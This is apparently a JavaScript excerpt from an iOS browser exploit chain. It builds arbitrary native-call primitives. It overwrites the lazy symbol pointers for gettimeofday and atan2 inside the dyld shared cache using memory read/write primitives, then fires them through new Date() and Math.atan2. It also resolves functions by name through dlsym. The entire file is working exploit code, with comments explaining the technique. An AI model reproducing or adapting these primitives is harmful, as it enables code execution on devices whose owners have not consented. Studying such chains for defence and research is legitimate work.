var gettimeofday_lazy_addy = 0x34d63d3c; var atan2_lazy_addy = 0x346afc84; var reserve_addr = 0x1a0000; var slide = 0x0; var base = 0x0; //var slid = 0x0; function get_dyld_shc_slide() { /* * ROP chain places dyld shc slide at slide + reserve_addr + 20 * * shift by 12 bits bc slide is just the slide byte, whereas shit is slid * by the slide byte shifted by 12 bits */ return read_u32((slide << 12) + reserve_addr + 20); } function call(addy) { /* * this prim is shit * the idea is that the gettimeofday_lazy_addy contains the lazy symbol * address of gettimeofday for jsc, whos value will be jumped to when * calling gettimeofday * * overwrite the lazy symbol address with where we want to jump, then make * a new date object, which will call gettimeofday to give it the current * date and time. * * then put it back to the original address so it will work properly * * multithreading be damned */ var dyld_shc_slide = get_dyld_shc_slide(); var tmp = read_u32(gettimeofday_lazy_addy + dyld_shc_slide); write_u32(gettimeofday_lazy_addy + dyld_shc_slide, addy); var d = new Date(); write_u32(gettimeofday_lazy_addy + dyld_shc_slide, tmp); } function call4arg(addy, r0, r1, r2, r3) { /* * same idea as call, but now we use atan2, which gets 2 double arguments. * a double is 64-bits, so it's passed as 2 registers. * 2 double args are then the full r0-r3 for args passed on the stack, * assuming 32-bit args. * * so, convert r0-r3 to the doubles they need to be, overwrite, and call. * * the first double has the low 4-bytes passed in r0, the high 4 in r1. * second has low 4 passed in r2, high 4 passed in r3. */ var arg1 = new Int64("0x" + pad_left(r1.toString(16), '0', 8) + pad_left(r0.toString(16), '0', 8)); var arg2 = new Int64("0x" + pad_left(r3.toString(16), '0', 8) + pad_left(r2.toString(16), '0', 8)); arg1d = arg1.asDouble(); arg2d = arg2.asDouble(); delete arg1; delete arg2; var dyld_shc_slide = get_dyld_shc_slide(); tmp = read_u32(atan2_lazy_addy + dyld_shc_slide); write_u32(atan2_lazy_addy + dyld_shc_slide, addy); ret = Math.atan2(arg1d, arg2d); write_u32(atan2_lazy_addy + dyld_shc_slide, tmp); delete tmp; delete arg1d; delete arg2d; /* * >>> 0 makes sure it's a regular uint32_t */ return (parseInt(Int64.fromDouble(ret)) & 0xffffffff) >>> 0; } /* * call with symbol */ function calls4arg(sym, r0, r1, r2, r3) { /* * this calls dlsym with the first arg, then uses the address it returns * to call. so you can call with a symbol name instead of an address */ var dlsym_addy = read_u32(reserve_addr + 24 + slid); var shc_slide = read_u32(reserve_addr + 20 + slid); var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0); return call4arg(addy, r0, r1, r2, r3); }